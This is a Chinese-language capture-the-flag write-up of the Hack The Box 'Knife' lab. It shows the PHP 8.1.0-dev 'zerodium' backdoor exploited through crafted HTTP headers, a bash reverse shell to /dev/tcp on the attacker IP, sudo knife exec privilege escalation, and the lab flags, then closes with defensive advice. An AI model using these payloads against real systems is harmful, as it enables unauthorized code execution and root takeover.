I just pwned Knife on Hack The Box! Owned Knife from Hack The Box! #HackTheBox #htb #CyberSecurity #EthicalHacking #InfoSec #PenTesting
这个蛮简单的,但是细节很多
下面是wp
HTB Knife – 渗透测试详细报告
环境介绍
- 攻击者 IP: 10.10.16.16
- 目标靶机 IP: 10.10.10.242
渗透测试流程
1. 信息收集 - 渗透测试的本质就是信息收集
信息收集是渗透测试的基础,就像在解决一个复杂问题前需要了解问题的各个方面。我们需要尽可能多地了解目标系统,以找出潜在的弱点。
端口扫描 - 发现开放服务
首先,我们使用 Nmap 进行全端口快速扫描。这里的参数含义如下:
-sT
:使用完整的 TCP 连接扫描-min-rate 15000
:设置最小发包速率,加快扫描速度-p-
:扫描所有 65535 个端口
nmap -sT -min-rate 15000 -p- 10.10.10.242
扫描结果显示仅有两个开放端口:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
这告诉我们目标系统运行着 SSH 服务(用于远程登录)和 HTTP 服务(Web 服务器)。这是一个典型的服务器配置,通常 Web 服务器提供了最多的攻击面。
随后对这两个端口进行详细的服务探测:
-sC
:使用默认的脚本集合进行扫描-sV
:探测服务版本信息-O
:尝试识别操作系统
nmap -sT -sC -sV -O -p22,80 10.10.10.242
详细扫描结果如下:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
| 256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_ 256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Emergent Medical Idea
|_http-server-header: Apache/2.4.41 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
从这些结果中,我们得到了一些重要信息:
- 目标服务器运行 Ubuntu Linux
- SSH 版本是 OpenSSH 8.2p1
- Web 服务器是 Apache 2.4.41
- 网页标题是 “Emergent Medical Idea”
这些信息有助于我们确定可能的漏洞和攻击向量。例如,特定版本的服务可能存在已知的安全漏洞。
2. Web服务探测 - 深入分析 HTTP 服务
Web 服务通常是最常见的攻击入口点,因为它们需要与外部用户交互,可能包含各种漏洞。
访问目标的 HTTP 服务 (80端口),发现一个简单的静态网页,没有可交互的元素。这种情况下,我们需要更深入地检查服务器配置和响应。
尝试访问一些常见路径(如 /reboot.txt
)均返回 404 错误,表明没有找到明显的隐藏内容。
进一步检查 HTTP 响应头,这一步非常关键,因为响应头通常会泄露服务器的配置信息:
HTTP/1.1 200 OK
Date: Wed, 02 Apr 2025 07:45:38 GMT
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/8.1.0-dev
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 2406
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
从响应头中,我们找到了一个重要线索:X-Powered-By: PHP/8.1.0-dev
。这表明服务器使用的是 PHP 开发版本,而不是稳定版本。开发版本通常不应该用于生产环境,因为它们可能包含未修复的漏洞或调试功能。
服务器配置总结:
- Web服务器:Apache/2.4.41 (Ubuntu)
- PHP版本:PHP/8.1.0-dev(开发版本!)
3. 漏洞识别与利用 - 发现 PHP 后门
漏洞研究是一个需要耐心和知识的过程。在实际渗透测试中,我们会查询安全数据库,搜索已知的漏洞信息。
通过研究,我们发现 PHP 8.1.0-dev 版本存在一个严重的安全漏洞。2021年3月28日,有人在这个版本的 PHP 源代码中植入了一个后门。虽然这个后门很快被发现并清除,但已经被编译到一些 PHP 构建版本中。
这个后门的工作原理很简单但非常危险:攻击者可以通过发送特殊的 HTTP 头 User-Agentt
(注意是双 t,这是故意的拼写错误,为了避免被常规检查发现)来执行任意 PHP 代码。格式为 User-Agentt: zerodium<PHP代码>;
,其中 “zerodium” 是触发后门的特定字符串。
漏洞验证
使用 Burp Suite 这类 HTTP 代理工具拦截请求,添加恶意 User-Agentt
头来执行系统命令:
GET / HTTP/1.1
Host: 10.10.10.242
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
User-Agentt: zerodiumsystem("whoami");
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
这段代码中,我们使用了 zerodium+system("whoami")
这个 PHP 函数来执行系统命令 whoami
,该命令会显示当前运行进程的用户名。
服务器返回结果显示当前 PHP 进程是以用户 james
的身份运行的。这告诉我们:
- 漏洞确实存在
- 我们已经能够执行系统命令
- Web 服务以
james
用户权限运行
4. 获取反向 Shell - 建立持久连接
确认漏洞存在后,下一步是获取一个完整的反向 Shell,这样我们就能够更方便地与目标系统交互。反向 Shell 的原理是让目标机器主动连接到攻击者的机器,从而绕过防火墙的限制(当然这里肯定没有防火墙,而且现在的防火墙可以监测外联)。
首先在攻击机上启动 Netcat 监听,等待连接:
nc -lvnp 9999
参数解释:
-l
: 监听模式-v
: 详细输出-n
: 禁用 DNS 解析-p 9999
: 在端口 9999 上监听
然后通过之前发现的 PHP 漏洞执行反向 Shell 命令:
GET / HTTP/1.1
Host: 10.10.10.242
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
User-Agentt: zerodiumsystem("bash -c 'exec bash -i >& /dev/tcp/10.10.16.16/9999 0>&1'");
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
这段命令的解释:
bash -c
表示执行 bash 命令exec bash -i >& /dev/tcp/10.10.16.16/9999 0>&1
是一个复杂的 bash 命令:bash -i
启动一个交互式 bash shell>& /dev/tcp/10.10.16.16/9999
将输出重定向到 TCP 连接0>&1
将标准输入也重定向到同一连接- 整体效果是将 bash 的输入和输出都连接到攻击者的 IP 和端口
成功GetShell 后,getkey1:
cd /home/james
cat user.txt
# 输出: 6736cc8ee09d200639eeab8ee412c494
5. Shell 升级 - 改善交互性能
初次获取的 Shell 通常功能有限,不支持命令历史、自动补全、清屏等功能,这会使进一步操作变得困难。为了获得更稳定和功能完善的交互式 Shell,我们可以进行升级。
这个过程涉及几个步骤,让我们理解每一步的目的:
- 首先检查目标系统上可用的 Python 版本:
which python python2 python3
# 输出: /usr/bin/python3
- 使用 Python 的
pty
模块获取完整的 TTY(Teletype)终端:
/usr/bin/python3 -c 'import pty;pty.spawn("/bin/bash")';
这行代码使用 Python 创建一个新的伪终端,运行 /bin/bash
。
- 设置必要的环境变量,使终端更实用:
export SHELL=bash
export TERM=xterm-256color
这里设置了 shell 类型和终端类型,启用颜色和更多终端功能。
-
按
Ctrl+Z
将 Shell 置于后台,回到本地终端 -
在本地终端配置 TTY 设置:
stty raw -echo;fg
这一步配置本地终端不处理特殊字符(raw 模式)并禁用本地回显,然后将后台任务带回前台(fg)。
- 按回车键,然后输入
reset
重新初始化终端
完成这些步骤后,我们获得了一个功能完善的交互式 Shell,可以使用命令历史、自动补全、方向键等功能,极大提高后续操作的效率。
6. 提升权限 - 获取 root 访问权限
在渗透测试中,获取普通用户权限后的下一个目标通常是尝试提升到管理员(root)权限。这一步骤常常依赖于系统配置错误、权限设置不当或特权程序中的漏洞。
首先,我们查看当前用户 james
可以执行哪些 sudo 命令:
sudo -l
这个命令列出当前用户可以使用 sudo(即以 root 权限)执行的命令。输出结果:
Matching Defaults entries for james on knife:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User james may run the following commands on knife:
(root) NOPASSWD: /usr/bin/knife
这告诉我们一个重要信息:用户 james
可以无需密码(NOPASSWD
)以 root 权限运行 /usr/bin/knife
命令。这是一个非常有价值的发现,因为它提供了潜在的权限提升路径。
knife
是 Chef(一个配置管理工具)的命令行工具。我们需要了解它的功能,看看如何利用它提升权限。运行 /usr/bin/knife
查看其帮助文档,得知 knife
有多种功能,包括执行脚本的能力。
knife
的一些主要功能选项包括:
-
基本参数:
-s, --server-url URL
- Chef 服务器 URL-k, --key KEY
- API 客户端密钥-c, --config CONFIG
- 配置文件-z, --local-mode
- 使用本地存储库-u, --user USER
- API 用户名-h, --help
- 显示帮助信息
-
执行命令:
knife exec [SCRIPT]
- 执行 Ruby 脚本-E, --exec
- 指定内联脚本
对于我们的目标,最重要的是 knife exec
功能,它允许执行 Ruby 脚本。由于 Ruby 可以调用系统命令,我们可以利用这一功能执行 shell 命令。由于 knife
是以 root 权限运行的,这些命令也将以 root 权限执行。
利用 knife exec
功能,我们可以直接执行系统命令获取 root 权限:
sudo /usr/bin/knife exec -E 'system("/bin/bash")'
这行命令使用 Ruby 的 system()
函数执行 /bin/bash
,由于是通过 sudo
运行 knife
,这个 bash shell 将以 root 权限启动。
成功获取 root Shell 后,我们可以读取 root flag,完成渗透测试的最终目标:
cat /root/root.txt
# 输出: 6c92d4605160d4cc723149a473cf5087
7. 补充方法 - 直接获取 flag
除了获取完整的 root Shell,我们还可以使用更直接的方法读取 root flag。这种方法在某些场景下更为高效,尤其是当我们只需要获取特定文件的内容时:
sudo /usr/bin/knife exec -E 'puts File.read("/root/root.txt")'
这里使用了 Ruby 的 File.read()
函数直接读取文件,并使用 puts
将内容打印到屏幕上。这种方法避免了启动完整 shell 的开销,直接完成了任务。
技术分析与安全建议
本次渗透测试成功利用了两个关键漏洞:
-
PHP 8.1.0-dev 后门漏洞:这是一个非常严重的漏洞,允许通过特制的 HTTP 请求头执行任意代码。这种类型的漏洞被称为"供应链攻击",攻击者通过污染软件的源代码或分发渠道来植入后门。
防护建议:
- 永远不要在生产环境中使用开发版本的软件
- 始终从官方渠道获取软件,并验证下载的完整性
- 定期更新所有软件到最新的稳定版本
- 使用 Web 应用防火墙 (WAF) 过滤恶意请求
-
sudo 权限配置不当:允许用户无需密码执行强大的系统命令是一个常见的配置错误。在这个案例中,
knife
工具的功能过于强大,不应该被赋予无限制的 sudo 权限。防护建议:
- 遵循最小权限原则,只授予用户完成任务所需的最小权限
- 限制 sudo 命令的参数和选项,例如使用
sudoers
文件的Cmnd_Alias
功能 - 为需要高权限的应用程序创建专用服务账户,而不是使用通用账户
- 定期审计系统权限配置
总结与学习要点
几个重要的安全概念:
-
信息收集的重要性:通过仔细分析 HTTP 头信息,我们发现了关键的漏洞线索(PHP 开发版本)。
-
供应链安全:PHP 后门漏洞提醒我们,即使受信任的软件也可能被恶意篡改。
-
权限管理:不当的 sudo 配置使得从普通用户到管理员的权限提升变得简单。
-
防御深度:即使初始漏洞被利用,正确的权限隔离和配置也能限制攻击者的能力。
这份报告清楚地展示了为什么系统管理员需要:
- 保持系统和应用程序更新
- 仔细配置权限,特别是 sudo 权限
- 避免在生产环境中使用开发版本的软件
- 在多层次上实施安全控制